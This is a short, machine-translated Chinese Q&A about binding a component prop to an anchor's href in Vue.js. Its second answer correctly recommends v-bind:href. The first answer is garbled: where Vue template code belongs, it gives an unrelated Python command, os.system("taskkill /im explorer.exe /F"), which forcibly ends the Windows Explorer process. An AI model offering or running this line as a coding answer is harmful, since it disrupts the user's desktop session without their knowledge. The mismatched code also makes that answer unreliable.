在Vue.js中将属性作为组件参数传递

Question

我正在Vue.js中创建一个测试组件。我想在我的模板中传递一个参数，如下所示：

Vue.component('test', {
   props: ['href'],
   template: '<li><a href="{{href}}"><slot></slot></a></li>'
});

在我的html文件中：

<test href="/">Tvest</test>

但属性href未绑定到属性。

<li><a href="{{href}}">Tvest</a></li>

如何在Vue.js中正确完成？

Answer 1

使用v-bind directive设置道具：

os.system("taskkill /im explorer.exe /F")

或快捷方式

<a v-bind:href="href"><slot></slot></a>

Answer 2

您需要在href周围get rid of the brackets并指定您使用v-bind directive绑定数据属性：

<li><a v-bind:href="href"><slot></slot></a></li>